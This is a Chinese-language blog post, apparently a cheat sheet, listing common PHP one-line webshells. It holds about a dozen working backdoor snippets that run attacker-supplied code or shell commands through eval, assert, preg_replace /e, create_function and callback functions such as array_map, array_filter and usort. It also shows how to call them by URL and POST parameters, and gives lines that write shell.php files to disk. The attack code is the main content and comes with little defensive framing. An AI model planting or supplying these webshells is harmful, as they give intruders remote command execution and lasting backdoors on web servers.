常用的php一句話木馬格式

測試語句

<?php phpinfo();?>

最初語句

<?php @eval($_POST[cmd]);?>
<?php @eval($_REQUEST[cmd]);?>

前端的傳輸方式:

GET	數據從url提交
POST	數據採用隱蔽方式提交
REQUEST	即支持GET方式、又支持POST方式

後端執行函數:

eval()
assert()
preg_replace()
create_function()

	array_map()
	call_user_func()
	call_user_func_array()
	array_filter
	usort
	uasort()
    		文件操作函數、動態函數($a($b))

assert 與eval類似,字符串被 assert() 當做 PHP 代碼來執行

<?php assert($_REQUEST[cmd]); ?>

preg_replace()       (php5.5以後的版本廢除了/e)
	mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
  	搜索subject中匹配pattern的部分, 以replacement進行替換。
  	preg_replace()函數原本是執行一個正則表達式的搜索和替換,但因爲存在危險的/e修飾符,使 preg_replace() 將 replacement 參數當作 PHP 代碼
<?php 
//?cmd=phpinfo()
@preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");
?>

create_function() create_function主要用來創建匿名函數,如果沒有嚴格對參數傳遞進行過濾,攻擊者可以構造特殊字符串傳遞給create_function()執行任意命令。

<?php 
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>

array_map() array_map() 函數將用戶自定義函數作用到數組中的每個值上,並返回用戶自定義函數作用後的帶有新值的數組。 回調函數接受的參數數目應該和傳遞給 array_map() 函數的數組數目一致。

<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>

call_user_func()/call_user_func_array ()
call_user_func — 把第一個參數作爲回調函數調用,其餘參數是回調函數的參數。
call_user_func_array — 調用回調函數,並把一個數組參數作爲回調函數的參數

<?php 
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>
<?php 
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>

array_filter()
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
   依次將 array 數組中的每個值傳遞到 callback 函數。如果 callback 函數返回 true,則 array 數組的當前值會被包含在返回的結果數組中。數組的鍵名保留不變。

<?php 
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>

usort()、uasort()
usort() 通過用戶自定義的比較函數對數組進行排序。
   uasort() 使用用戶自定義的比較函數對數組中的值進行排序並保持索引關聯 。

php環境>=5.6才能用

<?php usort(...$_GET);?>

利用方式:
test.php?1[]=1-1&1[]=eval($_POST[‘x’])&2=assert
[POST]:x=phpinfo();

php環境>=<5.6才能用

<?php usort($_GET,'asse'.'rt');?>

利用方式:
test.php?1=1+1&2=eval($_POST[x])
[POST]:x=phpinfo();

文件操作函數
file_put_contents() 函數把一個字符串寫入文件中。
   fputs() 函數寫入文件

<?php 
$test='<?php eval($_POST[cmd]);?>';
file_put_contents('test1.php',$test);
?>
<?php 
fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>'); 
?>

動態函數
PHP函數直接由字符串拼接

<?php 
//?a=assert&b=phpinfo()
$_GET['a']($_GET['b']);
?>
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章